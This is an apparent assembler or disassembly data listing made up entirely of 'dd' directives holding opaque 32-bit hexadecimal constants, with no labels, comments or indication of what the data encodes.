dd 52E0C0DFh, 13F87CBh, 0AC9E7067h, 2BF514CAh, 0F880B0h
dd 9A6A7F29h, 0C3A824F3h, 0F4EED900h, 0D1E09267h, 170803C0h
dd 231090C7h, 0F50D66D8h, 189EF100h, 36C9D574h, 2F7B00A5h
dd 3A59B192h, 99076132h, 0BB1AC82Ah, 0C2EAE7F0h, 8182005Eh
dd 41D14C08h, 0BC070E61h, 7D9506A5h, 0CEE19980h, 6FE50018h
dd 94D0936Eh, 0ED09814Ch, 80B097E3h, 8AD4DAE2h, 601C00FDh
dd 712E1B90h, 8C02D59Ch, 23EF3B0Dh, 5A3AC04Ch, 577B002Ah
dd 0C2E7D454h, 0A8734256h, 7518EA01h, 59F58104h, 0BD939F4h
dd 8ABCE48Dh, 0D424DA80h, 0E5009917h, 0C7A3FCD8h, 0B020B412h
dd 718700CAh, 345DDD74h, 0A8002364h, 97476EEAh, 1D5AC166h
dd 0DF3E3731h, 22AD80B7h, 0BABF67Dh, 0F5B47400h, 8B33099h
dd 0F7E071Eh, 0E0C8B16Eh, 70491E7h, 0BCCE063Fh, 735C00CAh
dd 62133B36h, 490900E6h, 0C8233F93h, 74506D32h, 0FB7671E4h
dd 7919FF00h, 0BC909D92h, 6ED200D6h, 395828CFh, 0C3EA834Ch
dd 8D00B7E2h, 0AC316BB2h, 773CDAh, 78901F3Eh, 93C77684h
dd 114CB100h, 67CA27DEh, 740C005Ah, 6FADAE9Ch, 1900E6F5h
dd 10ED6454h, 0DB9428h, 0DDBA2445h, 1444380Fh, 23D57703h
dd 0F0F61509h, 2E60D60Ah, 0D865AFh, 485B44BAh, 4A00DDC1h
dd 676B8213h, 0BF10F37h, 5D907DD1h, 23DACE0h, 2819CB07h
dd 0D6D130F9h, 0CDD805B1h, 67C90385h, 0D5AF1EC0h, 0A5BD2490h
dd 0E33FDCFEh, 0CA7A8F2Ah, 8437006Ah, 283044ECh, 0EBCBF3h
dd 0C1714234h, 490C61C6h, 0AA47000h, 0FD5C7FDBh, 0F94500ABh
dd 7634C9FFh, 7A780F2Dh, 62C30700h, 3FA36192h, 99E200F1h
dd 0E1D81FFh, 0E403FAD6h, 9A6CC403h, 44DC889h, 88070030h
dd 9D7D7160h, 0BBB8BE69h, 6D224300h, 0E12E0A66h, 3E6F00B4h
dd 64A86173h, 0BA1CE6FDh, 6C40D74Ah, 0E4DB2C45h, 9820003Dh
dd 22F21ACh, 0B800AA9Fh, 33A44095h, 187D4AA8h, 40728F0Fh
dd 4EFC4D19h, 5C4B6700h, 0D4318689h, 0F1880046h, 0E14CCE36h
dd 3300C52Dh, 7219F0C3h, 0B98017h, 21D63C2Bh, 66A4E97Ch
dd 4800C0E8h, 4CBE58C5h, 7080B96h, 13DA76ADh, 49B6A04Dh
dd 0AE00D07Ah, 0BCACA2D9h, 3CC5B01Ch, 0FB80F495h, 215F089Ah
dd 4F00194Ch, 7F8C047h
dd 177E3E4h, 0B7BFC46Ah, 0D822EABBh, 0AE005E13h, 0B1B5C65Dh
dd 0D7EE6Dh, 0E6B0DC01h, 0A93E5C5Fh, 0B6A4DA00h, 5429967Ch
dd 28D800F9h, 40DE8487h, 6FFE0C0Ah, 0E1D54F00h, 78BC1151h
dd 30380003h, 872DC569h, 8B003735h, 0B54FA23Ch, 3F7798F8h
dd 1F376C8h, 0AE4E1125h, 0F036AD75h, 0F2036E30h, 8D2A850Dh
dd 102C813Ch, 79302C8h, 0B8352B5Ch, 34E896B0h, 76402A1Ch
dd 7F013800h, 0C206D9h, 0A00774F6h, 30B2C8E4h, 0D790151Dh
dd 88F366C1h, 0A1FC5FAEh, 5570163h, 7259B8B5h, 4BD2C036h
dd 0FBCFD700h, 507BD30Bh, 73B008Dh, 9F4C8FEh, 0D4176090h
dd 1A038A3Ah, 91CB1CF8h, 0FAC0618Fh, 0CE0F0945h, 0A40085C0h
dd 0BE360756h, 3042E400h, 0BA54A798h, 6ABC00B9h, 62EADF5Bh
dd 200266Eh, 0BCD95B4h, 1FF48EFFh, 0C099EE58h, 9D560660h
dd 0C2000F53h, 32FDCD3Dh, 7F2A9081h, 0B47A03BFh, 34ACE97Eh
dd 0F1F771C8h, 0D6F0FF00h, 0B6CF05E0h, 25E07D5h, 0F09F66F2h
dd 42EC1282h, 9EB5F03Ch, 0A4CFE5FBh, 0ABBB6051h, 2A3DFAh
dd 8A779353h, 9049414Ah, 7F593A03h, 0D83BDB15h, 1DBA1C3Dh
dd 21453Ch, 0E2A68D09h, 130EF32Fh, 4FCD3250h, 0A400F7D2h
dd 0F7581F42h, 0B31E1E55h, 808343ACh, 0B8B00F09h, 0B9016B41h
dd 11A1CE69h, 0D020226Eh, 0EC340156h, 7EBA452h, 9B66D47Eh
dd 9A5E1F07h, 83B04AA6h, 39691513h, 6F0037FDh, 437D617Ah
dd 0F93B65CBh, 7F3100FAh, 3ED33CF6h, 0F4210356h, 9018C72Fh
dd 0FFCF90F7h, 0DC079CDFh, 4FAF1C33h, 0D3E9B2F0h, 0D514039Eh
dd 0DE413C54h, 0E3A18FB0h, 8D8C5B04h, 0C080824Fh, 0E9F116h
dd 0CF694E51h, 4CD8393Ch, 17EBCE0Eh, 6F9C6056h, 0A2E4C4h
dd 3338A3D7h, 212B4263h, 0E7468E09h, 2F8980B6h, 12CF91h
dd 0E05D4AD7h, 4B79F9DEh, 0A0FED300h, 3358081Dh, 0CFE71D3Fh
dd 5244C0BAh, 0BCE2CCFAh, 8C626E00h, 0EFD0D476h, 6CA200C8h
dd 0E2206A4h, 0EA76D62Ch, 72B96E00h, 0A3DDA3Eh, 1D23A1Eh
dd 0EF0060BEh, 0C29E9CADh, 43054D54h, 1E831FA0h, 0A8F1B1C3h
dd 0BE8FDEh, 50337AF2h, 22E474D1h, 6CAED800h, 8E7D3D88h
dd 435D095Ch, 3DD2E76h, 80648A3Eh, 0D2F73Ch, 0A32C1484h
dd 15397FEEh, 0A7D19700h, 2131EA1h, 332A0F17h, 0F6205A9Dh
dd 5699CC69h, 0E79E181Eh, 73A5780h, 0C5C2E8h, 0BBB0ACF3h
dd 0C9FBBC8Bh, 0D1C1CB00h, 0BFDC1C0Dh, 69C40066h, 3AB3E0D5h
dd 0AE002EEEh, 0E6EFA5F6h, 0AC791Dh, 45D66FF4h, 3DF1A266h
dd 72CFFF00h, 125FE326h, 0BDEC3Ch, 930E9764h, 69D8A0AEh
dd 0C50AD300h, 0E4AC7B42h, 0EA2D0148h, 86504DAAh, 43FA8036h
dd 4AB6B2B9h, 586D1F7Fh, 6D60022h, 38EE4F04h, 323A100h
dd 63C79DC9h, 736A00CDh, 291085C3h, 0E20F7BC4h, 0C0C594E0h
dd 0E91A517Ah, 920601DCh, 0D88C5AF0h, 0D61A837Dh, 9BA34CE4h
dd 80CCF3ADh, 4903440h, 1CD7EAF6h, 302EC050h, 7100EB53h
dd 72E0A5CEh, 378F525h, 1C8C7FDAh, 5C88F81Ah, 8900B9E2h
dd 69715092h, 7AA6DCh, 5D199EC4h, 8DC002B7h, 0F149AE00h
dd 1C7FBA2Dh, 0DCC30095h, 78C9224h, 4D004333h, 652137A7h
dd 782302Ch, 98CB5031h, 3B09F053h, 9A167615h, 0A8008486h
dd 0E0C507D1h, 0E8D1E2Ch, 8AB24006h, 0D0A150EBh, 0A9FB4D00h
dd 0C56FCCCBh, 0CE513BD6h, 4BE700F3h, 63ED6A66h, 2B00DFD2h
dd 21DA10Fh, 0AA55EAh, 0D0E6CC26h, 0E2F56706h, 0DE01431Eh
dd 95F3E840h, 1DF7F117h, 5D3D3F44h, 1F7D7C0Ah, 41994830h
dd 7661B595h, 8029D490h, 33208100h, 0D086F577h, 6FD9013Bh
dd 75DC7057h, 0E0007E65h, 0EF84B583h, 1663DCFh, 7276F000h
dd 0AECCC11h, 8018D100h, 6A8D4ACDh, 791EE09h, 0B3E4EB67h
dd 5772909Ch, 5458A3BEh, 34C30A32h, 0CC03D712h, 0D3060962h
dd 9A37B8C9h, 0BA8100BCh, 0C0F0705Ch, 0CA3D9F27h, 0EDF8800Eh
dd 0DE55CEA3h, 0ABC40792h, 9038C5F5h, 94BA9190h, 10766E2Ch
dd 2FA4003Eh, 46E8F33Ah, 0D0EC8Dh, 6A9D3CC1h, 261E32FAh
dd 6C4F550Bh, 25EA00F2h, 0F40D8254h, 0E7E300CEh, 8E3C789Bh
dd 1AB0B8F3h, 0DB7F811Eh, 0A6706D80h, 0FCBBE5A4h, 5579A1h
dd 0DE078E22h, 4AE41976h, 722D9A0Eh, 209440EEh, 3BE21240h
dd 9200CE75h, 0AA1FF784h, 61001CAEh, 7CC789ADh, 3E861965h
dd 0F08013DBh, 0CF6A5B17h, 4C00344Fh, 98A0E9DCh, 8569CCh
dd 6CEB482Bh, 75F4B274h, 0D1840300h, 561C0253h, 0C260029h
dd 42CB855Bh, 2A00A2A3h, 2511158Eh, 0EA2474h, 0DC318B30h
dd 5EC4E259h, 63AFDA00h, 36C8E993h, 8F833F2Dh, 6457B880h
dd 9EFBC9D0h, 0E28B3400h, 0F1FF4DA2h, 98EA1Eh, 1BB6D12Ah
dd 0CC2725F6h, 0E8007BE4h, 0E145ECF5h, 0C50BC1h, 38D9C674h
dd 5D7A0DBAh, 9165A200h, 0C2B3128Ch, 965C006Ah, 35486757h
dd 8B1EE915h, 3004973h, 32752871h, 13720088h, 5EED65F3h
dd 0F10052A0h, 26EB1117h, 3EADBBh, 70933F4Ah, 0A66822B8h
dd 40EE38h, 0C6C1CF4Dh, 0B06426h, 0D1899D2Fh, 0EB324916h
dd 3C510100h, 5CA4748Dh, 3B2400EAh, 4E820FD2h, 2B38EBAAh
dd 463F0075h, 932DE174h, 728FE007h, 5CBB0F91h, 0C0BE4AC4h
dd 0E056F91Bh, 7E3C1376h, 6ECA00E1h, 9FF482Eh, 0AB800B01h
dd 0B58ED0ACh, 0ECEE4AA0h, 0DDFC5A95h, 2A20DF00h, 4671548Ah
dd 390F07D3h, 30A15E48h, 0B1CB368Ch, 511B000h, 5AF46776h
dd 0C88700F5h, 62CAC5DBh, 0A07C9D2h, 0F2A27BBh, 0CE36AD80h
dd 7567D09h, 1EA34AA0h, 0FABBF25Ch, 294FC3E0h, 7FA6200Eh
dd 502FA093h, 1E11D72Ah, 0ED7A84h, 9D5A858Fh, 0E0004A8Dh
dd 3DCFF359h, 1D98F9B0h, 0FD29C07Fh, 0AA5908Fh, 0B8CE4BC0h
dd 210077DCh, 803770C7h, 4975ECh, 855F19F0h, 3F7DC5D6h
dd 43AEEE00h, 7EF72F5Ch, 62330003h, 50328856h, 790E023Ch
dd 45E621FCh, 9183598Bh, 0D0D624h, 0D082CEDDh, 63150F7Ch
dd 0F4CB5Ch, 1DED92B1h, 4EF676h, 6252C3ECh, 9B6902CFh
dd 0F9CE5C01h, 0ACD16C55h, 7923D6DCh, 731F773Eh, 50F53B1Eh
dd 0FB00005Ch, 0A91422B0h, 3C00C8A0h, 4EFC53F2h, 500419h
dd 881A2E02h, 444DA90Bh, 34BE2800h, 6553EC1h, 9A6C0FE6h
dd 3AA0B99Eh, 0C701ECCEh, 5F17FA02h, 0E0D3C853h, 0E92D30h
dd 0BA6C4B4h, 19C632BEh, 2A716400h, 4DD4DCA5h, 5111009Dh
dd 758A4ACh, 898FF05h, 0F0663Ch, 9E3C0332h, 0AB708Dh, 69A4EE4Eh
dd 0B7C214CDh, 7BB59600h, 21E95B8h, 73AE0047h, 222ED176h
dd 0CA00FD44h, 50721CDFh, 0DA931Bh, 7EDC4116h, 0DE40B9EBh
dd 77B62501h, 0C60D647Ah, 3C8CE0h, 69810B3Dh, 3F7348C8h
dd 0CE7CD600h, 0E4068AADh, 0A21400DDh, 7482C2EDh, 5CECFE70h
dd 3669B600h, 0E27DAFC0h, 0BD22004Bh, 9687B36Dh, 6E00FEF9h
dd 7CE1E5Fh, 18A4D3h, 3FE230BBh, 5120C7BEh, 0B24FEF00h
dd 0F70AF857h, 147607BCh, 8081FA33h, 864B093Ch, 0F9A32900h
dd 916EB302h, 13D30082h, 0D5E04CB0h, 693B7C76h, 0AA0074B4h
dd 0E12D8808h, 0E2B88BDEh, 0D7B90032h, 30D9C579h, 0B73A8709h
dd 95679F5Bh, 9A0D28C0h, 1CE83783h, 43D94177h, 0A04959BEh
dd 58F800D7h, 2E00B89Ch, 16DC2392h, 38860F4Bh, 0C100FB3Eh
dd 7CA63C76h, 95005E12h, 6B7EB1C2h, 0F7C855h, 92653898h
dd 0A3D80E74h, 0BA3A080Eh, 0E7EAC024h, 19A2E0h, 0FAE48BFFh
dd 0F8DD1FA5h
dd 0C82B5700h, 6F2245D2h, 8E840095h, 5B375D24h, 8700034Eh
dd 3EDD5188h, 0BF44CDh, 91748659h, 2ECE8908h, 0C0A1D200h
dd 0CB23F905h, 791B00BEh, 0BA8EA397h, 80000F25h, 0E90107B0h
dd 2CE31C26h, 17FD3429h, 0E15E0090h, 0BFE6F315h, 4C76F200h
dd 440CE8F5h, 0BADD00F8h, 5D15E240h, 313FC3A3h, 9E8903C4h
dd 0E093CFA7h, 0EBD0F83h, 0BF80B291h, 87AB2F81h, 7C457075h
dd 3698520Fh, 96314182h, 89C84376h, 47AD1D58h, 1BB200E9h
dd 98AE4F45h, 0BE00F375h, 78D08085h, 1C2CD12Bh, 0C00A1C39h
dd 0E18967DCh, 4F009E5Dh, 1185B60h, 0E0756h, 8069D9D2h
dd 5C1F3CF0h, 0C56EE81Dh, 0C310D840h, 64455Eh, 8425D6CCh
dd 0F8799748h, 68FFB201h, 148D54C4h, 1E2009D0h, 400AD698h
dd 0EC2F5AEAh, 1600A4BCh, 61DFF178h, 5A364F83h, 0BEB1F05Bh
dd 9DCB6901h, 0B1A8F3F5h, 7C41ACCh, 0A1A0A291h, 1BF71024h
dd 0ED0060ADh, 34390D3h, 141A1E61h, 0BEAF7F42h, 53E9900h
dd 1CB517E5h, 60C47500h, 134C66C3h, 0CFE005Dh, 53DAF4E0h
dd 0CFEC9D42h, 2A65B800h, 0BB077E87h, 832500A8h, 29EC6AD5h
dd 100FBB3h, 0CBC1F718h, 1F71E9FDh, 5FAC62BDh, 0F2E641DDh
dd 0DC6D67CFh, 0E53F4E12h, 253C1Bh, 512E1683h, 5486Ch
dd 98C3BE77h, 380C3EF8h, 6DAC5200h, 0E0DA2ED0h, 0FAF2A8h
dd 10961FF2h, 5F9EDC6Ah, 1E898F0Bh, 0AD1F0029h, 3B1F20B3h
dd 53807D14h, 8819F7B9h, 7501D152h, 0E6D7334Dh, 8BC0B8A9h
dd 4E220740h, 60F9B134h, 0A63623FAh, 89483Fh, 0C6DA57A7h
dd 0B688B7h, 0B8C29BD6h, 0D0D9C782h, 950316E6h, 0ACF2522Dh
dd 7655A8AFh, 5C7103A1h, 0F71E74DDh, 434778A0h, 8340CC00h
dd 80B88434h, 1DA2006Bh, 7E235C2Bh, 4801756Ah, 3F0E0964h
dd 43EC30C3h, 59E8007Ch, 54FFF03Dh, 62095C24h, 0DC6B060Dh
dd 78B400BBh, 0CCD2592Ch, 0AA708800h, 0DAC1E4F8h, 36C6008Bh
dd 0B1EA9721h, 0BB1CEBFFh, 9E0082F4h, 502DCCA2h, 0E0C4C032h
dd 0CB7C9957h, 457B9100h, 0AA4F04D5h, 8E98E9h, 0B69F8388h
dd 5D467ED9h, 3CB4CA00h, 76B25956h, 65A300B3h, 102D4944h
dd 573F8036h, 0D500728Ch, 0E84BB8A8h, 0CEC8B7h, 0AF9CDDBCh
dd 2AF79BD1h, 0A2E9901Eh, 0F4F1B900h, 3F202ED8h, 0F68E8FAEh
dd 49038DE8h, 0E2D08633h, 0EE00EDDBh, 0B14DC923h, 3EFC50CCh
dd 3A00DA10h, 0D23643DEh, 0EC006082h, 0E61EE33Bh, 0C7AA7Ah
dd 1D42BC4Fh, 0A8FEE70Ch, 0DC6BEF02h, 40E987A4h, 1E8C41C0h
dd 813F8DB1h, 0DFEE63ADh, 0CDD0D7EAh, 0FD0B73F3h, 5F9A50h
dd 39705851h, 60503FEh, 8C0FCF30h, 8FA219B0h, 8744700h
dd 0D65DA8AEh, 96B4004Fh, 4C04E829h, 0C41CD5DCh, 0F4004EDFh
dd 2CDA0B9Bh, 0F99C0295h, 0C9DC0639h, 0D199CE0h, 2CA33C26h
dd 0B2E40800h, 749D91h, 689331CAh, 0AF8452F2h, 7CFCB5Ch
dd 0EE0D830Bh, 39E518B0h, 341C01D1h, 0CDBC84D5h, 2C38E01Dh
dd 0F3EF5700h, 8C8D3BC4h, 0E6905Eh, 799BD85Fh, 51821FCFh
dd 0CB276D00h, 7314DCC0h, 0B11203E5h, 4D7A6A3Bh, 49DA7CE0h
dd 8804E1Fh, 59A1FC80h, 1D2056C0h, 7FE07317h, 83A5E793h
dd 0EEF09033h, 30003393h, 6C254301h, 7779F14h, 2EA2F091h
dd 9069F7DCh, 0CF7465AEh, 4C5AD70Eh, 31F78080h, 3B5CD8h
dd 9DAF09ABh, 5A431D0Dh, 5E242000h, 15E0A86Eh, 0BBB7009Bh
dd 0E2623FF0h, 0E1176B2Dh, 0EF1DAD9Ch, 23F3E940h, 2E2783h
dd 3CEE41EBh, 64F650ACh, 0B646E000h, 0CC288299h, 5FE73A69h
dd 313F6600h, 680DC25Ah, 0C4730807h, 57D04E3Dh, 3CF48A44h
dd 0D71E7B1Eh, 41C1C05Ch, 58B05DA0h, 65AB690Bh, 0D0F4809Fh
dd 1869C1Ch, 0DE134136h, 0C060FED6h, 21002D2Eh, 6C3168B2h
dd 0AA26EFh, 8732F046h, 672B844Bh, 0D4500200h, 0D743BCF6h
dd 8F3800DDh, 0E94F6645h, 0C003B17Ah, 42CF8CEDh, 8A0D802Ah
dd 0D1880099h, 0B156B687h, 0DE007E02h, 0A50B82FDh, 1E8C22F3h
dd 4035777Bh, 535EF126h, 6439E1E4h, 0AB4D0070h, 6A9346DFh
dd 0D9221F20h, 0F88F4076h, 9D564C2Ah, 0EF501306h, 0F54D815h
dd 0F13FD94Dh, 0EA2A6F00h, 8E03B64Ch, 195C49C3h, 3AA0D09Fh
dd 9C7300C4h, 0ED1C8CEBh, 0E6FC8F29h, 0F20088E0h, 0F717BB36h
dd 2325CCh, 7069AC86h, 940B18BDh, 0BF3B8198h, 6359173Eh
dd 0EDB02701h, 21706270h, 0FE301DC1h, 5F1F01ACh, 0E0CFD0B5h
dd 29007797h, 0BE0D16EAh, 0AEEA3h, 9AACEB4Ah, 0CE5D80D5h
dd 336AA400h, 96FFAF1Bh, 167A0FDDh, 42012D54h, 0F415ADB9h
dd 4F052941h, 1C05BE6Ah, 67659D00h, 37F6A2h, 3FA91D8Ch
dd 56A3FE9Eh, 0C84CBD00h, 5C0C04D7h, 6E4E03CBh, 1711EC47h
dd 0A1CFABB8h, 226FFF00h, 0E2B90BFBh, 0D1D80773h, 40F791C6h
dd 42E98F2Eh, 0AFE59300h, 593007F0h, 248663D9h, 3D8B1FEh
dd 0C20032E9h, 0A0101D73h, 1834B8h, 0D13A9A0Fh, 0DBE70853h
dd 661FB60Eh, 55CE0571h, 0A9A6E0h, 32E3D205h, 897268F1h
dd 79C8D900h, 1A061CC9h, 8881003Bh, 38F5B23Ah, 0E17B2D56h
dd 450F98E4h, 0E03E5F30h, 0CB778F4Eh, 532C1DEFh, 3C8CC021h
dd 6AB2A042h, 19CF6D1Ch, 38485D03h, 83B4D8E7h, 812000FDh
dd 0F7230F94h, 9A0027EEh, 47C88B5Eh, 0D62C11h, 1A25F868h
dd 1412233h, 0C66E3Ah, 536C4CC7h, 0FE6118CDh, 64B901CAh
dd 67A92F82h, 22806F7Eh, 0E7852B6h, 0D342DF34h, 0B7A103D6h
dd 39E09356h, 2E1CCDD4h, 220038D2h, 0B5A5575Dh, 0FA230FCEh
dd 0B1202FD8h, 281198DFh, 0DE4B7700h, 0DB0216BAh, 42A20E6Dh
dd 6AA3D669h, 58F84D80h, 2A1C20C0h, 0FB80299Fh, 0AA43EB36h
dd 0DC130EE3h, 0F04027D4h, 1BEAA20Ah, 7976050Fh, 1A9C8053h
dd 64DC81h, 0AEFD9432h, 5062878Bh, 0B2EBAF00h, 0D9677071h
dd 3CA800F6h, 8B4D2229h, 7A03BAB4h, 0D7179F8Dh, 0C846D0B7h
dd 45E257h, 0D5054F6Ch, 4073227Ch, 13CF1A1Dh, 0DA0F65DEh
dd 2B8BE0C8h, 7A2C33h, 4B8821F6h, 638470F8h, 5F074200h
dd 900E2D96h, 13D7041h, 0FE18DE2Ah, 0F8EAC533h, 0B871A8h
dd 0B9AC3Eh, 0DFFABA3Ch, 714522Bh, 0DD419167h, 0DE4A80F4h
dd 0FD7F16EEh, 0A350D400h, 64ED927Ah, 0F0D2F062h, 99130021h
dd 0DAAEC2BDh, 1D00384Fh, 679AC85Bh, 769D863h, 4C5E9C36h
dd 436BD061h, 5C004D34h, 11F416CAh, 0E3321Ch, 5623C92Ch
dd 25422958h, 2600F2F2h, 39F81477h, 38DDABB8h, 9FBB61DEh
dd 0CAE9B080h, 0FCE159Bh, 852F8700h, 0D01706FEh, 1DF01F50h
dd 0F66A018Fh, 0E0215C2Eh, 55000952h, 33432737h, 0F7E7E0h
dd 0FBAFB291h, 0A538A23Eh, 5D032474h, 3F43FE04h, 649FF0A3h
dd 9688008Ah, 6E21E798h, 0DD001AEAh, 7680A7FFh, 94F28Bh
dd 9C74CFD7h, 280732FCh, 77E5DE07h, 84640231h, 0A5F66A80h
dd 21BA1FFDh, 748240C7h, 300CDE14h, 251D0F00h, 0E397F1DDh
dd 83020094h, 6E432A9Bh, 920BF76Ch, 80716BC9h, 0E4C6204h
dd 34C8037Ah, 76BECE0Dh, 0EC1041C9h, 5B00BD25h, 6E66FBD2h
dd 2EB7BA4h, 4F3E89E2h, 0AE80C309h, 39FCA863h, 9BE5C500h
dd 18554C60h, 0C7E21711h, 0FDBF00D3h, 31D673F9h, 51F7B07h
dd 8C606379h, 0D91C04h, 1F9ED16h, 9456C806h, 0B5088200h
dd 7C42A853h, 29B20030h, 2EA0C0F5h, 6E8E958h, 0B9115700h
dd 0ACBBFC80h, 0C430007Ah, 42DC6524h, 4E00D270h, 1AD75B06h
dd 51125Fh, 0C586855Ch
dd 0C257E0D5h, 0CA4D8C01h, 4D9304Fh, 764048D4h, 0F73C00A7h
dd 0BD4F56Bh, 7100B0AEh, 3273EC4Eh, 6674DFh, 0F59B10F1h
dd 0F7C1F470h, 0DA63370Bh, 0BD5380E3h, 0C7DE8Dh, 2B4134EBh
dd 54F3A630h, 0D264A400h, 0D1CCBE4Fh, 0EC890052h, 11B76AEFh
dd 0FC00059Eh, 257190F0h, 0D755E9h, 5A0F8780h, 774159FFh
dd 61041D1Eh, 39018AA4h, 4DC537E5h, 19312321h, 63BCE0h
dd 0B2AB1ABEh, 15E6A12Dh, 0EFED3300h, 6B245045h, 0ADD100B4h
dd 0BDB57E4Ch, 8100D3C8h, 0B7579B2Ch, 93EF03h, 0B6D078F4h
dd 99529A23h, 55C01400h, 0A795BCBh, 0B2F80036h, 9FFCA5CDh
dd 93E0E15Ah, 0FAF9D400h, 1817769Dh, 0C45E0007h, 0EE1CA381h
dd 110951A9h, 5C27E7h, 8ECB2ADEh, 17EEACEh, 55622471h
dd 606E8DF0h, 0AE004165h, 0C30DC717h, 275D47Eh, 0F7398FFAh
dd 6840C2FDh, 5B6042F0h, 4B85FF60h, 0E95C0012h, 91868E8h
dd 1E004058h, 0C71D068Ch, 1636D8h, 0FD253369h, 0ECAEF199h
dd 0D7B3F801h, 7826E3A5h, 1D222D20h, 0B1912h, 6CBCE481h
dd 0F20005BBh, 4D131BAAh, 2DA913Ch, 36D58AE7h, 136043B4h
dd 0C20066CFh, 8FE4B390h, 0F3143Dh, 0AE0A7F29h, 0E090858h
dd 6395541Eh, 9B79A381h, 0F0FF2B26h, 0D1879Dh, 0DE17CAF9h
dd 0E8776A2Ch, 5D1AFF00h, 54E1E68Eh, 8AF80045h, 0C6CC55Ah
dd 731DCD76h, 0E903E28Fh, 0F0E5B2C8h, 0EF92F6Eh, 68B1BB8h
dd 7AAE4400h, 5B006A82h, 0E7B16F19h, 0E907975h, 0F777705Fh
dd 0AE63C4E7h, 181ED6C0h, 0B901FA56h, 0A2D5A96Ch, 0FFC80399h
dd 68E40040h, 988011DCh, 409F38B4h, 8D1CD7h, 48261B2Bh
dd 0CEDF0919h, 72100300h, 0F90E4EB0h, 0C63600F8h, 979D15E4h
dd 0AB0005BAh, 20097417h, 0EE2E9912h, 48900089h, 0EC4FE449h
dd 3C075BD6h, 0DCB9B66Fh, 9942C910h, 0C86900EDh, 65E3C27Ch
dd 7302D063h, 789083FAh, 0A3B94095h, 470A0EDBh, 0BC2075EFh
dd 1DCCA4BEh, 30D8F900h, 4DDBD7CFh, 0D6180033h, 0DFBE8D84h
dd 17F8D26Dh, 4BC92200h, 0A9DC1504h, 28A80131h, 569F068Ah
dd 882DFC8Fh, 5A7DF500h, 7A90DD71h, 290D004Ah, 0CCBDD345h
dd 0C901CE4Ch, 5D54F78Ah, 64CC5E0Eh, 0E417FD7h, 31894DB6h
dd 0FE1C03Dh, 555C73ADh, 0B5446200h, 0B31904A5h, 0C3C7005Eh
dd 54FDD9A6h, 130F68ADh, 677BE26Dh, 6F40EB47h, 0EF025Bh
dd 0C48B34DCh, 5E70DB5Dh, 78FC8E2Eh, 75444900h, 9A1DADh
dd 0A77CFEDEh, 85F2EA78h, 48EF6F2Eh, 37005A16h, 19943383h
dd 0EC140090h, 8A22081Ch, 0DF16B2E1h, 0F4009EFFh, 56E6ACDCh
dd 0E21000CAh, 7753BF64h, 0B798332h, 0A7D3E400h, 414DAED4h
dd 0FC8500F5h, 165E2593h, 69003E62h, 21C8C95Ch, 3BD7FB03h
dd 0E68ECB33h, 0F4078555h, 10E30023h, 100545Bh, 80FDC0A3h
dd 0AEEDCBh, 3A4A8513h, 4B70AAB7h, 0E5D24800h, 51193CB8h
dd 3D37221h, 0AEB618D0h, 63908AA3h, 0D600EF36h, 0AF32D45h
dd 997E92h, 0EC27DC1Ch, 0D1492342h, 8C71DCE3h, 4FB38700h
dd 0EA3B8812h, 0E7B700DCh, 0A47319D9h, 9E162CD8h, 8C00E180h
dd 8A93756Bh, 0ACC800AFh, 0EFC69D4Ah, 0D200B86Eh, 36336266h
dd 704D6Fh, 1DFC869Bh, 8EE3AC37h, 0D8E02800h, 0DE429724h
dd 0B5A20017h, 0C6C4C96Ch, 51075A4Eh, 0C8A15D74h, 22313CD0h
dd 5EE49Ch, 47733752h, 0B3389787h, 8FFD5600h, 75908069h
dd 0E586003Dh, 94434963h, 0B8588BC3h, 2404005Bh, 7DB5D916h
dd 6E500069h, 0A44DF3ADh, 89034BC3h, 1287DB55h, 8504F8FBh
dd 0EE7000D8h, 0C1275115h, 21013057h, 0F77C592Ah, 65307A3Ah
dd 1D10004Ch, 56A59E24h, 9A03C0E2h, 20552611h, 0DF22F87Eh
dd 806C00E8h, 36FAAF6Dh, 4FAC808h, 2800107Ch, 476BE0A0h
dd 50F29Eh, 48E6E9D2h, 499DBD85h, 89FFE300h, 7808B416h
dd 0A68D0061h, 4FCB5EA0h, 3D003301h, 25880911h, 1DD83Fh
dd 747CDB4Ch, 31B09F6Fh, 9AB27200h, 1C4D69F6h, 0F8100055h
dd 0CC8E38ADh, 0E7062274h, 2D1B0384h, 1E5C00B4h, 3B4A088Dh
dd 210F1898h, 0C0DE73C6h, 0B3550716h, 0DC7907F7h, 0E1D61A4Dh
dd 0D44AF1B5h, 0C700673Ch, 38277CE4h, 31729Eh, 0C0C56808h
dd 2ABE800Dh, 0DF9F9100h, 0D35C5022h, 159B005Dh, 87DC61Fh
dd 0AF00DC3Eh, 0E6483A63h, 5CEC7Ch, 9F9B85EFh, 8874A7FDh
dd 47B11C00h, 1E3FDC19h, 0B42C1F4Ch, 30068E10h, 0BDDBA6C0h
dd 590055DEh, 0A44C2F78h, 1D665Fh, 0EFF9672Ah, 0E30E5BE1h
dd 0AAEB0901h, 0DEA22989h, 0E0EC4B70h, 144B004Dh, 16C2D4AEh
dd 0AA009E76h, 0B7E00FB4h, 0DFFA2Fh, 4C439BB9h, 2049B1C5h
dd 0E67EF401h, 19AEAF95h, 86E8FFE5h, 501838CCh, 5CEBC600h
dd 9AA1EEB7h, 3B326B01h, 1158B088h, 0E04CC1F4h, 0FE1A00F5h
dd 0A4D8E21h, 0C000DA48h, 5191D5EEh, 165F32CFh, 0DB688h
dd 7C206092h, 2F0021ADh, 664F346Ah, 0D78458h, 10172C9Eh
dd 240D69DFh, 1F8B5B00h, 7D26ADBFh, 0D5A700DDh, 9283BA4Ch
dd 0C800ECB6h, 96739D95h, 0F637CF67h, 27D3004Dh, 0D5D9CE0Ah
dd 0EC003E75h, 0F001C228h, 0EBAB445h, 0B1D41D39h, 63B0C35Fh
dd 0C0E5F7A2h, 116FA412h, 2DD1370Fh, 5F77013Eh, 50E4B919h
dd 78313FF3h, 86FA2300h, 0B8A01395h, 0F3AD5Ch, 6C199253h
dd 0A3D9BE7h, 7081687Dh, 8FA800EFh, 951C43EFh, 69376007h
dd 0C1A0CA41h, 0E2E1ADDh, 4813C4C7h, 8E78B220h, 350053EDh
dd 1AFCA23Dh, 0EC04CBF5h, 2C10366h, 0A30ECCDEh, 2A9B4AF0h
dd 7211D3Ah, 13FB5D3Bh, 0A0735403h, 0F1092Bh, 0BB96D6A0h
dd 0F54BD0AEh, 7162051Fh, 0ECFCCBC0h, 1FF6EF52h, 7B178B8h
dd 0B04CA936h, 0DF2A0523h, 0B29E4F30h, 1B0F80h, 3E96E82Fh
dd 0E62266C0h, 34E47A00h, 318AA73Fh, 0A163000Ah, 0FB809C2Eh
